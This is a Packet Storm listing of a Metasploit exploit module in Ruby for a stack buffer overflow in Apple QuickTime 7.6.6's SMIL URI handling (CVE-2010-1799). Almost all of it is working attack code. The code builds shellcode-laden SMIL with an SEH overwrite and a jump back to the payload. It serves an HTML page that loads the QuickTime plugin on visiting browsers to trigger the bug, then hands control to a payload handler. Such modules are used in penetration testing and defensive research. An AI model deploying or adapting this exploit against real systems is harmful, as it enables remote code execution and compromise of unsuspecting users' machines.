Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow

2010-08-16T00:00:00
ID PACKETSTORM:92787
Type packetstorm
Reporter Krystian Kloskowski
Modified 2010-08-16T00:00:00

Description

                                        
                                            `##  
# $Id: apple_quicktime_smil_debug.rb 10011 2010-08-13 23:11:23Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking # needs more testing/targets to be Great  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Seh  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking, # reliable memory corruption  
:vuln_test => nil,  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Apple QuickTime  
7.6.6. When processing a malformed SMIL uri, a stack-based buffer  
overflow can occur when logging an error message.  
},  
'Author' =>  
[  
'Krystian Kloskowski', # original discovery  
'jduck' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10011 $',  
'References' =>  
[  
[ 'CVE', '2010-1799' ],  
[ 'OSVDB', '66636'],  
[ 'BID', '41962' ],  
[ 'URL', 'http://secunia.com/advisories/40729/' ],  
[ 'URL', 'http://support.apple.com/kb/HT4290' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'AutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 640, # 716 - 63 - 8 - 5  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#[ 'Automatic', { } ],  
[ 'Apple QuickTime Player 7.6.6',  
{  
'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 12 2010',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(client, request)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)  
print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")  
print_status("Trying target #{target.name}...")  
  
# This is all basically filler on the browser target because we can't  
# expect the SEH to be in a reliable place across multiple browsers.  
# Heap spray ftw.  
  
off = 716  
start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"  
  
scheme = rand_text_alphanumeric(5)  
  
sploit = ''  
sploit << scheme  
sploit << "://"  
  
# payload  
sploit << p.encoded  
  
# pad to SEH  
sploit << rand_text_english(off - sploit.length - start.length)  
  
# seh frame  
sploit << generate_seh_record(target.ret)  
  
# jmp back to payload  
distance = off + 8 - (8 + start.length)  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
  
# force exception while writing  
sploit << rand_text(1024) * 15  
  
smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">  
<body>  
<img src="#{sploit}" />  
</body>  
</smil>  
|  
send_response(client, smil, { 'Content-Type' => "application/smil" })  
  
else  
print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")  
  
shellcode = Rex::Text.to_unescape(p.encoded)  
url = ((datastore['SSL']) ? "https://" : "http://")  
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])  
url << ":" + datastore['SRVPORT']  
url << get_resource  
  
fname = rand_text_alphanumeric(4)  
  
content = "<html><body>"  
content << <<-ENDEMBED  
<OBJECT  
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"  
WIDTH="1"  
HEIGHT="1"  
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">  
<PARAM name="SRC" VALUE = "#{url}/#{fname}.smil">  
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.smil">  
<PARAM name="AUTOPLAY" VALUE = "true" >  
<PARAM name="TYPE" VALUE = "video/quicktime" >  
<PARAM name="TARGET" VALUE = "myself" >  
<EMBED  
SRC = "#{url}/#{fname}.qtl"  
QTSRC = "#{url}/#{fname}.qtl"  
TARGET = "myself"  
WIDTH = "1"  
HEIGHT = "1"  
AUTOPLAY = "true"  
PLUGIN = "quicktimeplugin"  
TYPE = "video/quicktime"  
CACHE = "false"  
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >  
</EMBED>  
</OBJECT>  
ENDEMBED  
content << "</body></html>"  
  
send_response(client, content, { 'Content-Type' => "text/html" })  
end  
  
# Handle the payload  
handler(client)  
end  
  
end  
`